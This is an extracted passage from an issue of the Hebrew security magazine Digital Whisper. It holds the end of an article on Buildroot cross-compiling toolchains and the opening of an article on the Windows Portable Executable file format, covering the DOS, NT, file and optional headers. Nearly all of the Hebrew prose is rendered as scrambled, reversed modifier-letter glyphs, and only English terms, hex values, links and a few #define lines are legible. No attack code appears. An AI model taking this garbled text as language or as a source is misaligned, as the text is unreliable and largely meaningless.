˟ ˷ˣˬ˧˷ˢ ˭˲ˣ˞ ˪˰ ˦ˣ˶˧˲˟ ˧˸˟˥˶ˢˣ ˸˞ˤ ˸ˣ˷˰˪-Buildroot  ˶ˣ˴˧˪ ˸ˮˬ ˪˰Toolchain  ˫˧˞˸˧˷

 .˪˲ˬ˵˪ ˫˧˴ˣ˶ ˫˸˞ ˢ˧˪˞ ˢˬ˶ˣ˲˦˪˲˪ 

 ˶ˬ˞ˬˢ ˸˞ ˟ˣ˸˩˪ ˰˧ˮˬˢ˪"ˮˢ sˢ ˞˷ˣˮ ˸˞ ˦˷˲˪ ˢ˧-Cross Compiling  ˢ˯ˮ˸ˢ ˞˪˷ ˧ˬ˪ ˣ˸ˣ˞ ˷˧ˠˮˢ˪ˣ

 ˸ˣ˥˲"˪ ˢ˵˧ˮ˩˦ˢ ˸˞ ˨ˣ˲ˢ˪ ˨˩ ˧"˰ˣ ˢ˷ˣ˰ ˞ˣˢ ˢˬ ˰ˡˣ˧ ˵˧˲˯ˬ ˞˪ ˞ˣˢ˷ ˷˧ˠ˶ˢ˷ ˧ˬ˪ ˣ˞ ˶˟˰˟ ˨˩˟

˟ ˦˰ˬ ˞˪ ˸˵˯˰˸ˬ˷ ˧ˢ˷˧ˬ ˶ˣ˸˟ ,˧˶ˣ˟˰ ˧˷˧˞ˢ ˰˧ˮˬˢ ."ˢˡ˧˥˲ˬ-Cross Compiling ˶˸ˣ˧ ˯ˮ˩˧ˢ˪ ˢ˧ˢ ,

˩ ˭˧˟ˢ˪ˣ ˞˷ˣˮˢ ˵ˬˣ˰˪ .˨˧˪ˢ˸˟ ˟˪˷ ˪ 

˫ˣ˧˟ ˫ˢ˟ ˫˧˵˯˰˸ˬ ˫˧˷ˮ˞˷ ˥ˣ˸˧˲ˢˣ ˫˧˟˷˥ˬˢ ˫ˣ˥˸˟ ˫˧˞˷ˣˮ ˦˰ˬ ˞˪ ˷˧- ˫˸ˣ˞ "˪˰˲˸˪" ˫˧˰ˡˣ˧ˣ ˫ˣ˧

˞˪ ˨˞ ˫˧˪˰ˣ˲ ˫ˢ ˡ˴˧˩ˣ ˫ˢ˧˶ˣ˥˞ˬ ˡˬˣ˰ ˢˬ ˫˧ˮ˧˟ˬ ˸ˬ˞˟ ) ˞˶˵ˮ˷ ˢˬ"˪ ˫˧˯ˮ˩ˮ-Bits And Bytes(" .

ˢ˪ˣ ˞˷ˣˮˢ ˵ˬˣ˰˪ ˯ˮ˩˧ˢ˪ ˶ˬ˞ˬˢ ˧˞˶ˣ˵ ˸˞ ˡˡˣ˰˪ ˢ˸˧˧ˢ ˧˪˷ ˢ˶˦ˬˢ ,˭˩˪ ˭ˣˮˠˮˬˢ ˨˧˞ ˟ˣ˦ ˶˸ˣ˧ ˭˧˟

.˫˩˥ˣ˶ ˪˰ ˢ˪ˣ˰ˢ ˪˩ ˸˞ ˸ˣ˷˰˪ ˫˧˪˩ˢ ˸˞ ˸˸˪ˣ ˡ˟ˣ˰ 

.˶ˬ˞ˬ˟ ˧˸ˬˠˡˢ˷ ˫˧˶˟ˡˢ ˸˞ ˫˩ˬ˴˰˟ ˸ˣ˷˰˪ ˣ˯˧ˮ ˱˞ ˫˩˵˪˥˷ˣ ˢ˶˦ˬˢ ˸˞ ˧˸ˠ˷ˢ˷ ˢˣˣ˵ˬ  ˪˰ ˢˡˣ˸

ˢ˞˧˶˵ˢ. 
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˫˧˶ˣ˷˧˵ ˢ˞˧˶˵˪ ˸˲˯ˣˮ 

¶ https://buildroot.org/download.html 

¶ https://elinux.org/Toolchains 

¶ http://wiki.osdev.org/GCC_Cross-Compiler 

¶ https://en.wikipedia.org/wiki/Source-to-source_compiler 

¶ https://buildroot.org/ 

¶ https://en.wikipedia.org/wiki/ARM_architecture 

¶ https://en.wikipedia.org/wiki/Recursive_acronym 

  

https://buildroot.org/download.html
https://elinux.org/Toolchains
http://wiki.osdev.org/GCC_Cross-Compiler
https://en.wikipedia.org/wiki/Source-to-source_compiler
https://buildroot.org/
https://en.wikipedia.org/wiki/ARM_architecture
https://en.wikipedia.org/wiki/Recursive_acronym
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Portable Executable 
˸˞ˬ Spl0it 

 

ˢˬˡ˵ˢ -  ˢˤ ˢˬPE? 

:ˢ˧ˡ˲˧˵˧ˣ "PE  ˪˷ ˶ˣ˴˧˵)Portable Executable ˧"˰ ˥˸ˣ˲˷ ˦ˬ˶ˣ˲ ˞ˣˢ (Microsoft  ,ˢ˴˧˶ ˧˴˟˵ ˶ˣ˟˰

˵ ˸ˣ˧˶˲˯ ,˦˵˧˧˟ˣ˞ ˧˴˟˵˶ˣ˷˧-) ˧ˬˮ˧ˡDLL) ˫˧˦ˮˣ˲ ˧˴˟˵ ,(FONˢ ˸ˣ˞˯˶ˠ˟ ˫˧˷ˬˣ˷ˬ ˶˷˞ ˡˣ˰ˣ (-32 sx-

64  ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˸ˣ˷ˬ˸˷ˬˢ ˸ˣ˩˶˰ˬ ˪˷ ˦˧˟Windows .PE  ˸˞ ˳˟˵ˬ ˶˷˞ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ ˞ˣˢ

ˢ˷ ˪˧˟˷˟ ˧˥˶˩ˢˢ ˰ˡ˧ˬˢ-Loader  ˪˷Windows ."ˢ˴˧˶ ˭ˬˤ˟ ˡˣ˵ˢ ˸˞ ˪ˢˮ˪ ˥˧˪˴˧ 

˟ ˫˧˷ˬ˸˷ˬˢ ˶˸ˣ˧˟ ˫˧˴ˣ˲ˮˢ ˫˧˴˟˵ˢ ˧ˠˣ˯ ˦ˬ˶ˣ˲PE: 

¶  exe- ˳˟ˣ˵ ˢ˴˧˶ 

¶ dll - ˸˧˧˶˲˯ ˶ˣ˷˧˵-˧ˬˮ˧ˡ 

¶ sys/drv - ˳˟ˣ˵ ˸˩˶˰ˬ )˶˟˧˧˶ˡ ˪ˮ˶˵˪( 

¶ ocx - ˳˟ˣ˵ ˢ˦˧˪˷ ˟- ActiveX 

¶ cpl - ˥ˣ˪ ˢ˶˵˟ 

¶ scr - ˶ˬˣ˷ ˨˯ˬ 

:ˢ˶˰ˢ  ˧˴˟˵˪.lib  ˞˪ ,ˢˮˣ˷ ˦ˬ˶ˣ˲ ˷˧ (˸ˣ˧˦˦˯ ˸ˣ˧˶˲˯)PE. 

 ˢ˪˰˲ˢˢ ˸˩˶˰ˬWindows ˷ˣˬ˧˷ ˢ˷ˣ˰ ˠ ˠ˴˧˧˪ ˧ˡ˩ ˪"ˮˢ ˫˧˰ˣ˟˵˟:˫˧ˮ˸˷ˬ ˪˷ ˫˧˪ˡ 

˪ˡˣˠ ˯ˣ˲˧˦ 

 ˸˧˟1 CHAR (Character) 

2 ˫˧˸˟ WORD 

2 ˫˧˸˟ SHORT (Short Integer) 

4 ˫˧˸˟ DWORD (Double Word) 

4 ˫˧˸˟ LONG (Long Integer) 

8 ˫˧˸˟ QWORD (Quad Word) 

8 ˫˧˸˟ LONGLONG 

ˢ ˸˶˧˵˥˪ ˫˧˪˩-PE: 

¶ PEView - ˸˟ˣ˦˪ ˸ˣ˪˩˸˯ˢ ˪˰ sPE- ˪˷ ˫˧˴˟˵ ˶ˣ˲˟˦ˬ ˢˤ 

¶ CFF Explorer - ˣ˸ˣ˞ ˶˟ˡ ,˨˞ ˫˰ ˴˧˲'˫˧˶ ˫˧˲˯ˣˮ ˭ˣˠ˩ ˸˩˧˶˰ sPE- ˧˪ˬ˧˴ˡ˯˵ˢ˟ ˸˶ˬˢˣ ˳˟ˣ˵ˢ 

˸˲˷˪ ˧˪˟ˬ˯˞ 

¶ WinDbg - ˶ˣ˟˰ ˧ˣ˲˧ˮ ˸ˣ˞˧ˠ˷ )Debugging (˧˯˧˯˟ 
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ˢ ˦ˬ˶ˣ˲-PE  ˢˮˣˬ˸˪ .˶˸ˣ˧ ˫˧˶ˣ˶˟ ˣ˧ˢ˧ ˶ˬ˞ˬˢ ˨˷ˬˢ˟ ˫˧˶˟˯ˢˢ˷ ˧ˡ˩ ˸˶˲˯ˣˬˬ ˢˮˣˬ˸ˢ) ˨˩ ˢ˞˶ˮ

 ˣ˴˥˪ ,˶˸ˣ˧ "ˢ˧˧˵ˮ"˭˞˩:( 

 

 

 

  

http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf


 
 

Portable Executable 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ90 , ˶˞ˣˮ˧2018  113 
 

DOS-Header 

˟ ˞˴ˬˮˢ ,˭ˣ˷˞˶ˢ ˢˮ˟ˬˢ-Offset 0x0 ˞˶˵ˮ ,DOS-Header  ˶˲˯ˬ)  ˨˩ ˢ˞˶ˮ ˞ˣˢˣ1 ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-

PE(: 

 

:˶ˬ˞ˬˢ ˨˷ˬˢ˪ ˢ˶˰ˢ ˟ ˫˧ˮˬˣ˯ˬˢ ˸ˣˡ˷˪ˣ˥˩ ˫˧˟ˣ˷˥˷ ˸ˣˡ˷ ˫ˢ .ˣˮ˪ ˩ˣ˞ ˞˪˪˩ ˸˞ ˸ˣ˯˩˪ ˪ ˪ ˸ˣˡ˷ˢ

.˫˧˟ˣ˷˥ˢ ˸ˣˡ˷ˢ ˸˞ ˵˶ ˢ˯˩˞ ˭˩˪ ,ˢˤ ˶ˬ˞ˬ˟ 

 ˢˡ˷˟ ˨˶˰ˢ :˫˧˩˶˰ ˧ˮ˷ˬ ˵˶ ˫˴˰˟ ˣˮ˪ ˸˲˩˞e_magic  ˢˡ˷˟ ˨˶˰ˢˣe_lfanew  ˫˧˶˟ˡ ˣ˪˞ ˶˞˷ˢ ˪˩)

˪ ˫˧˶ˣ˷˵˷DOS-.(  

e_magic  ˢˡ˷˟ ˨˶˰ˢˣ ˶˟ˣˡˬ ˳˟ˣ˵ ˠˣ˯ ˢˤ˧˞˟ ˣˮ˪ ˶ˬˣ˞e_lfanew ˢ ˞ˣˢ- Offsetˣ˸ˮ ˢˮ˟ˬ˪ ˞˟ˢ ˫˧ˮ

ˢ)-PE Header .(˞˟ˢ  ˪˷ ˨˶˰ˢe_magic ' ˢ˧ˢ˧MZ) ˧˵˯˟ˣ˵˧˟ˤ ˵˶˞ˬ ˫˴˰˟ ˢˤ˷ ,'Mark Zbikowski ,(

 ˸˞ ˥˸˧˲˷ ˶ˣ˥˟ˢMS-DOS . 

˟ ˸ˣˮ˩ˣ˸ˢ ˟ˣ˶ ˶ˣ˟˰ ,˟ˠ˞ ˨˶ˡ-Windowsˢ ,-DOS header  ˪˷ ˸˧ˮ˩ˣ˸ ˸˯˧˲ ˸˪˪ˣ˩DOS  ˢ˯˧˲ˡˬ ˶˷˞

 :˦˪˲ˢ ˸˞"This program cannot be run in DOS mode" ˟ ˳ˣ˶˪ ˢ˪ˣ˩˧ ˢˮˮ˧˞ ˸˞ˤ ˸˧ˮ˩ˣ˸)DOS- .(

) ˸ˣˬ˧˷˶ˢ ˯˵ˮ˲ ˸˞ ˳˧˶ˢ˪ ˢ˯ˮ˧ ˣˢ˷˧ˬ ˫˞ ,˞ˬˠˣˡ˪notepad.exe ˨ˣ˸˟ (DOS ˢ˧ˢ˧ ˶ˤ˥ˣ˧˷ ˦˪˲ˢ ,

"This program cannot be run in DOS mode." 

NT-Header 

ˢ ˧˶˥˞-DOS-Header˪ ˫˧˰˧ˠˬ ˣˮ˞ ,-NT-Header ˶˲˯ˬ) ˨˩ ˢ˞˶ˮ ˞ˣˢ .2 ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-PE:(  

  

 ˣ˩ˣ˸˟ ˫˧˰ˣˬ˦ ˶˷˞ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ ˣˢˤ2 ˫ˢ˧˸ˣˬ˷ˣ ,˫˧˲˯ˣˮ ˫˧ˮˣ˸ˮ ˧ˮ˟ˬFILE_HEADER  x- 

OPTIONAL_HEADER. 
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Signature  ˨˶˰˪ ˢˣˣ˷ ˢ˧ˢ˧0x00004550 " ˸ˤˣ˶˥ˬˢ)PE ˠˣ˴˧˧˟ "ASCII ˨ˣ˸˟ (DWORD.  ˞ˣˢ ,˸˶˥˞

˟ ˵˧ˤ˥˧-2 struct-˟ ˫˧˰ˣˬ˦ ˶˷˞ ˫˧˶˥˞ ˫˧-PE. 

FILE_HEADER 

˴ˬˮ ,˭˩ˬ ˶˥˞˪ ˢˡ˷ˢ ˞FILE_HEADERˢ ˨ˣ˸˟ ˰˟˦ˣˬ ˶˷˞ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ ˞ˣˢ ˢˤ ˢˡ˷ .-NT-Header 

 ˶˲˯ˬ) ˨˩ ˢ˞˶ˮˣ3 ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-PE:( 

  

Machine  ˞ˣˢ ˢˤ ˨˶˰ .ˢ˧˲˪ ˡˣ˟˰˪ ˢ˶ˣˬ˞ ˢˮ˩ˣ˸ˢ˷ ˡ˟˰ˬˢ ˸˶ˣ˦˵˦˧˩˶˞ ˸˞ ˰˟ˣ˵˷ ˨˶˰ˢ ˞ˣˢ

 ˠˣ˯ˬ ˳˟ˣ˵˟ ˶˟ˣˡˬ ˫˞ˢ˪ ˰ˠˣˮ˟ ˣˮ˪˷ ˸˧ˮˣ˷˞˶ˢ ˢ˧˴˵˧ˡˮ˧˞ˢ32  ˣ˞64 ˦˧˟ ˞ˣˢ ˨˶˰ˢ ˫˞ .014C ˶˟ˣˡˬ ,

 ˠˣ˯ˬ ˧˶˞ˮ˧˟˟x86  ˠˣ˯ˬ ˧˪˟ˬ˯˞˟ ˟ˣ˸˩)32  ˣˬ˷˟ ˰ˣˡ˧ˢ ,(˦˧˟PE32 ˞ˣˢ ˨˶˰ˢ ˫˞ .8664 ˶˟ˣˡˬ ,

 ˠˣ˯ˬ ˧˶˞ˮ˧˟˟x86-x64  ˠˣ˯ˬ ˧˶˞ˮ˧˟)AMD64 ˠˣ˯ˬ ˧˪˟ˬ˯˞˟ ˟ˣ˸˩ ,64  ˣˬ˷˟ ˰ˣˡ˧ˢ ,(˦˧˟PE32+. 

NumberOfSections ˢ ˸ˣˬ˩ ˞ˣˢ-Section Header-ˣ˯ˬ) ˫˧ˬ˧˧˵ˢ ˫˧ ˪ˣˠ˧˰˟ ˫˧ˮˬ˫ˣˡ˞  ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟

-sPE.( 

TimeDateStamp ˟ ˨˧˶˞˸ ˠ˧˧˴ˬˢ ˨˶˰ ˞ˣˢ-Unix )Unix timestamp ˤ˞ˬ ˣ˶˟˰˷ ˸ˣ˧ˮ˷ˢ ˸ˣˬ˩ ,epoc ,

 ˶˷˞˩epoc  ˞ˣˢ00:00:00 ˟-1  ,˶˞ˣˮ˧˟1970) ˶ˣ˷˧˵ ˭ˬˤ˟ ˰˟˵ˮ ˢˤ ˨˶˰ˣ (At link time ˶ˬˣ˞ ˢˤ ˢˡ˷ .(

 ˢ˟˶ˢ ˷ˬˣ˷ˬ ˢˤ ˨˶˰ .˪˲ˬˣ˵ ˳˟ˣ˵ˢ ˧˸ˬ ˣˮ˪ ˸ˣˮ˷˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ˷ ˭ˣ˟˷˥˟ ˣ˥˵˸ ˨˞ ,˸ˣ˵ˤˣˮ ˸˶˧˵˥˟

.ˣ˸ˣˮ˧ˬ˞ ˪˰ ˨ˣˬ˯˪ ˶˷˲˞ ˧˞ ˭˩˪ ,ˢˤ ˨˶˰ ˸˞ 

Characteristics :˭ˣˠ˩ ,˳˟ˣ˵˪ ˸ˣ˶ˡˠˢ ˪˧˩ˬ 

 

 ˢ˧ˢ˧ ˢˤ ˢˡ˷ ˪˷ ˣ˩˶˰ ˫˞ ,˞ˬˠˣˡ˪0x2002  ˞ˣˢ ˢˤ ˳˟ˣ˵ ˤ˞DLL  ˟ˣ˷˧˥ˢˬ ˢ˞˴ˣ˸˩ ˸˞ˤ ,ˢ˴˧˶ ˳˟ˣ˵ ˫ˠˣ

 ˪˷0x0002+0x2000 . 



 
 

Portable Executable 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ90 , ˶˞ˣˮ˧2018  115 
 

ˢ ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬˢ ˨ˣ˸˟ ˰ˬ˦ˣˬˢ ˧ˮ˷-NT-Header  ˞ˣˢOPTIONAL_HEADER  ˶˲˯ˬ) ˨˩ ˢ˞˶ˮ ˞ˣˢˣ4 

ˢ ˦ˬ˶ˣ˲ ˸ˮˣˬ˸˟-PE:( 

 

 ˸˞˯˶ˠ64 :˦˧˟                                                                   ˸˞˯˶ˠ32 :˦˧˟ 

  

 ˢˤ ˢˡ˷˪ ˫˧˞˶ˣ˵˷ ˰ˡˣ˧ ˧ˮ˞Optional Header˲ˣ˞ ˞˪ ˢˤ ˢˡ˷ ,ˣ˰˦˸ ˞˪˷ ˨˞ , ˣ˪˧˲˞ ˞ˣˢˣ ˪˪˩˟ ˧˪ˮˣ˧˴

ˢ˟ˣ˥ ˢˡ˷. 
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Magic ˢ ˧"˰ ˷ˬˣ˷ˬ-Loader  ˠˣ˯ˬ ˳˟ˣ˵ ˶ˣ˸˟ ˢˤ ˳˟ˣ˵˪ ˯˥˧˧˸ˢ˪ ˫˞ˢ ˰ˣ˟˵˪ ˧ˡ˩ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷

32  ˣ˞64  ,˭˩˪ .˦˧˟Magic ˢ ˢˡ˷ ˭˧˟˪ ˣˮ˧˟ ˪ˡ˟ˢˢ .˳˟ˣ˵ˢ ˠˣ˯ ˸˞ ˣˮ˪ ˰˟ˣ˵˷ ˨˶˰ˢ ˞ˣˢ- Machine˞ˣˢ 

-˷Machine ˮ˪ ˭˸ˣˮˣ ˡ˟˰ˬˢ ˸˶ˣ˦˵˦˧˩˶˞ ˸˞ ˭˧˧˴ˬ ˢ˧˴˵˧ˡˮ˧˞ ˣˡ˟˪˟ ˸˧ˮˣ˷˞˶  ˶˟ˣˡˬ ˫˞ˢ˪ ˰ˠˣˮ˟

 ˠˣ˯ˬ ˳˟ˣ˵˟32  ˣ˞64  .˦˧˟ 

ˢ ˢˡ˷ Magic- ˢˡ˷˟ ˨˶˰ˢ ˸˞ ˢˮ˷ˮ ˫˞ .˶˟ˣˡˬ ˳˟ˣ˵ ˠˣ˯ ˢˤ˧˞˟ ˰˟ˣ˵ ˸ˬ˞˟Machine  ˡˣ˟˰˸ ˢˮ˩ˣ˸ˢ

ˢ ˢˡ˷ ˸˞ ˢˮ˷ˮ ˫˞ ˨˞ ,˪˧ˠ˶˩ Magic-ˢ ˸ˣ˞˯˶ˠ˟ ˫˧˪ˡ˟ˢˢˬ ˢ˞˴ˣ˸˩ ,˯ˣ˶˵˸ ˢˮ˩ˣ˸ˢ-32 sx-64  ˦˧˟

ˢ ˪˷-OPTIONAL_HEADER˟ ˸ˣˡ˷ˢ˷ ˫˧˵˧˯ˬ ˣˮ˞ ˭˞˩ˬ .-OPTIONAL_HEADER  ˨˶˰˪ ˫˞˸ˢ˟ ˣˮˣ˷˧

 ˢˡ˷˟Magic ˢˡ˷˟ ˨˶˰ˢ ˫˞ .Magic  ˞ˣˢ0x10B  ˠˣ˯ˬ ˳˟ˣ˵˟ ˶˟ˣˡˬ32 ) ˦˧˟PE32ˢˣ (- 

OPTIONAL_HEADER  ˸˞˯˶ˠ˟ ˢ˧ˢ˧32  ˞ˣˢ ˨˶˰ˢ ˫˞ .˦˧˟0x20B  ˠˣ˯ˬ ˳˟ˣ˵˟ ˶˟ˣˡˬ64 +) ˦˧˟PE32 (

ˢˣ- OPTIONAL_HEADER ˞˯˶ˠ˟ ˢ˧ˢ˧ ˸64 .˦˧˟ 

AddressOfEntryPoint ˢ ˸˞ ˭˧˧˴ˬ-RVA )Relative Virtual Address ˣ˞ ,RVA (˭ˣ˶˩˧ˤ˟ ˫ˣ˵ˬ˪ ˰˧˟˴ˬ ,

ˢ ˣ˟˷ ˫ˣ˵ˬ˪-Loader  ˣˢˤ ,˭˩˪ .˭ˣ˶˩˧ˤ˪ ˳˟ˣ˵ˢ ˸˞ ˸ˣ˪˰ˢ˪ ˫˧˧˯˧ ˞ˣˢ˷ ˰ˠ˶˟ ˡˣ˵ˢ ˸˞ ˳˧˶ˢ˪ ˪˧˥˸˧

˪˷ ˢ˪˥˸ˢ˪ ˰˧˟˴ˬ ˞ˣˢ˷ ˣ˥˧ˮ˸ ˪˞) ˪˧˥˸ˬ ˡˣ˵ˢ ˣ˟˷ ˭ˣ˶˩˧ˤ˟ ˧ˬ˷˧˶ˢ ˫ˣ˵ˬˢ  ˸˧˧˴˵ˮˣ˲main().( 

SizeOfImage ˪˰ ˷˞˶ˬ ˢ˶ˣˬ˷ ˸ˣ˧ˢ˪ ˸˟˧˧˥˷ ˭ˣ˶˩˧ˤˢ ˸ˣˬ˩ˢ ˞ˣˢ- ˭ˣ˶˩˧ˤ˪ ˳˟ˣ˵ˢ ˸˞ ˸ˣ˪˰ˢ˪ ˸ˮˬ

ˢ .(˭ˣ˶˩˧ˤ˪ ˧ˣ˲˧ˬ ˪˷ ˨˧˪ˢ˸ ˶˟˰ ˞ˣˢ˷ ˶˥˞˪ ˳˟ˣ˵ˢ ˪˷ ˪˪ˣ˩ˢ ˪ˡˣˠˢ ˞ˣˢ ,˫˴˰˟)-Loader  ˸˩˶˰ˬ ˪˷

˶˥˞˪ˣ ˭ˣ˶˩˧ˤ ˪˷ ˸ˣˬ˩ ˢ˸ˣ˞ ˸˞ ˢ˴˵ˬ ,ˢˤ ˢˡ˷˟ ˨˶˰ˢ ˪˰ ˪˩˸˯ˬ ˢ˪˰˲ˢˢ  ˧˵˪˥ ˸˞ ˢ˲ˬˬ ˭˩ˬ

) ˱ˠ˞ˢ ˪˷ ˣ˪˞ ˸ˣˡ˷ˢ ˟ˣ˷˧˥ ˪˷ ˢ˞˴ˣ˸ ˞ˣˢ ˣ˪˷ ˨˶˰ˢ .ˢˤ ˭ˣ˶˩˧ˤ ˟˥˶ˬ ˨ˣ˸˪ ˳˟ˣ˵ˢSection ˪˰ ˶˟ˡˮ ,

:˭ˣ˶˥˞ˢ (˨˷ˬˢ˟ ˢˤ 

SECTION_HEADER.Misc.VirtualSize + SECTION_HEADER.VirtualAddress , ˧˸˧˷˰ ˨˧˞ ˣˮ˧˟˸ ˫˸˞

˪ ˰˧ˠˮ˷˩ ,˶˸ˣ˧ ˶˥ˣ˞ˬ ˢˤ ˟ˣ˷˧˥ ˸˞-Section Headers. 

SectionAlignment  ˨˶˰ˢ ˫˞ ,˞ˬˠˣˡ˪ .ˢˤ ˨˶˰ ˪˷ ˸ˣ˪ˣ˲˩˟ ˫˧˶˷ˣ˧ˬ ˸ˣ˧ˢ˪ ˫˧˩˧˶˴ ˫˧˲ˠ˞˷ ˫˴˰˟ ˶ˬˣ˞

 ˞ˣˢ ˢˤ ˢˡ˷ ˪˷0x1000 ˸ˣ˟ˣ˸˩˟ ˫˧˪˧˥˸ˬ ˫˧˲ˠ˞ ˸ˣ˞˶˪ ˫˧˲˴ˬ ˣˮ˧˧ˢ ˤ˞ ,0x1000, 0x2000, 0x5000 

 ˢˡ˷˟ ˨˶˰ˢ ˸˞ ˸˰ˡ˪ ˢ˴˶ˮ .'ˣ˩ˣSectionAlignment ˣ˸ˮ ˣ˞/ˣ ˡˣ˵ ˣˮ˪ ˢ˧ˢ˧ ˶˷˞˩ ˵˯˧ˡ˟ ˫˧˟˷ˣ˧ˢ ˫˧ˮ

˪ ˶˧ˡˠˢ˪ ˞ˣˢ ˢˤ ˢˡ˷ ˪˷ ˢ˶˦ˬˢ .˭ˣ˶˩˧ˤ˪ ˣ˲ˣˬ˧ ˫ˢ ˸ˣ˟ˣ˸˩ ˪˷ ˸ˣ˪ˣ˲˩ ˢˤ˧˞˟ ˸˰ˡ˪ ˢ˴˶ˮˣ-Loader  ˪˷

 ,˭˩˪ .˨˶˰ ˣ˸ˣ˞ ˪˷ ˸ˣ˪ˣ˲˩˟ ˣ˪˷ ˫˧ˮˣ˸ˮˢ ˸˞ ˸ˣ˲ˬ˪ ˨˧˶˴ ˞ˣˢ˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬSectionAlignment 

˧ˡ ˨ˣ˸ ˪˞ ,˳˟ˣ˵ˢ ˨ˣ˸ ˪˞ ˶˟˩ ˣ˲ˣˬ˷ ˫˧˲ˠ˞ˢ ˶ˣ˷˧˧˪ ˨˶ˡ ˫˴˰˟ ˞ˣˢ.˵˯ 

FileAlignment  ˨˶˰ˢ ˫˞ ,˞ˬˠˣˡ˪ .ˢˤ ˨˶˰ˬ ˭˦˵ ˞˪ ˭˪ˡˣˠ˷ ˸ˣ˩˧˸˥˟ ˳˟ˣ˵ ˨ˣ˸˪ ˣ˟˸˩˧ ˫˧ˮˣ˸ˮ˷ ˶ˬˣ˞

 ˢˡ˷˟FileAlignment  ˢ˧ˢ˧0x200  ˪˷ ˨˶ˣ˞˟ ˱ˠ˞ ˣˮ˪ ˷˧ˣ10  ˟˥˶ˬˢ ˸˞ "ˡ˲˶˪" ˨˶˦˴ˮ ˣˮ˥ˮ˞ ,˫˧˸˟

 ˭˧˟0xA )10(  ˡ˰0x200 )512ˮˢ ˫˧˩˶˰ˢ .ˢˤ ˨˶˰ˬ ˭˦˵ ˢ˧ˢ˧ ˞˪ ˱ˠ˞ˢ ˪ˡˣˠ˷ ˧ˡ˩ ,( ˢˡ˷˪ ˶˸ˣ˧˟ ˫˧˴ˣ˲

 ˫ˢ ˢˤ0x200 )512ˣ (˥˧˷˵ ˭ˮˣ˩˟ ˶ˣ˦˵˯ ˪˷ ˪ˡˣˠˢ ,-0x80 ˭ˣ˞ ˵˯˧ˡ˟ ˶ˣ˦˵˯ ˪˷ ˪ˡˣˠˢ)- ,˭˩˪ .(˧˵

FileAlignment ˶ˣ˷˧˧˪ ˨˶ˡ ˫˴˰˟ ˞ˣˢ .˵˯˧ˡ˟ ˫˧ˮˣ˸ˮ 
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ImageBase  ,˫˴˰˟ .˭ˣ˶˩˧ˤ˪ ˢ˲ˣˬ˧ ˳˟ˣ˵ˢ ˶˷˞˩ ,˳˟ˣ˵ˢ ˸˪˧˥˸˪ ˢ˧ˣ˴˶ˢ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˭˧˧˴ˬ

ImageBase ˞ˣˢ  ˶ˣ˟˰˧ ˧ˮ˞ ˶˷˞˩ ˭ˣ˶˩˧ˤ˟ ˣˤ ˸˟ˣ˸˩˟ ˫˵ˣˬˬ ˸ˣ˧ˢ˪ ˢ˴ˣ˶ ˧ˮ˞" :ˡ˧ˠˢ˪ ˳˟ˣ˵ˢ ˪˷ ˨˶ˡˢ

."˭ˣ˶˩˧ˤ˪ ˧ˣ˲˧ˬ ˪˷ ˨˧˪ˢ˸ 

DLLCharacteristics  ˣˬ˩ ˸ˣ˟ˣ˷˥ˢ ˸ˣ˧˸˥˦˟˞ˢ ˸ˣ˧˴˲ˣ˞ˢˬ ˵˪˥ ˭˧˧˴ˬASLR  ˭ˣ˶˩˧ˤ˟ ˫˧˶ˣˤ˞ ˸˶ˡˠˢˣ

) ˢ˴˧˶˪ ˫˧ˮ˸˧ˮ ˫ˮ˧˞˷ ˫˧˶ˣˤ˞ ˶ˣ˸˟non-executableˢ ˶ˣ˟˰ (-Loader˲ˣ˞ . ˪˰ ˵˶ ˞˪ ˣ˰˧˲˷˧ ˣ˪˞ ˸ˣ˧˴

 ˧˴˟˵DLL ˧˴˟˵ ˪˰ ˫ˠ ˞˪˞ ,.exe :˭ˢ ˸ˣ˧˴˲ˣ˞ˢˬ ˵˪˥ .(ˢˡ˷ˢ ˫˷ ˪˪ˠ˟ ˸˶˥˞ ˣ˟˷˥ ˫˩˵˪˥ ˧˪ˣ˞) 'ˣ˩ˣ 

#define IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE    0x0040 // DLL can move . 

#define IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY 0x0080 // Code Inte grity Image  

#define IMAGE_DLLCHARACTERISTICS_NX_COMPAT       0x0100  //Image is NX  compatible  

#define IMAGE_DLLCHARACTERISTICS_NO_SEH          0x0400 // Image does not use 

SEH.  No SE handler may reside in this image  

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE x˧) ˶˷ˣ˵˧ ˳˟ˣ˵ˢ ˶˷˞˩ ˶ˡˠWill be linked ˫˰ (

 ˢ˧˴˲ˣ˞ˢ/DYNAMICBASE ˟)-IDE- ˣˬ˩ ˫˧Virtual Studio) ˶ˣ˷˧˵ ˸ˣ˧˴˲ˣ˞ ˶ˣ˥˟˪ ˭˸˧ˮ ,Linker options (

 ˣ˴˥˪ ,˸˞ˤ ˸ˣ˷˰˪ ˨˧˞ ˡˣˬ˪˪ ˧ˡ˩ .ˢˮ˧˰˦ ˣ˞/ˣ ˢ˴˧˶ ˭ˬˤ˟ ˳˟ˣ˵ˢ ˸ˣˠˢˮ˸ˢ ˸˞ ˣ˶˧ˡˠ˧˷˭˞˩ ˸˞ˤ ˢ˧˴˲ˣ˞ .(

˟ ˨ˬˣ˸ ˢˤ ˳˟ˣ˵˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˸˶ˬˣ˞-ASLR )Address Space Layout Randomization .( 

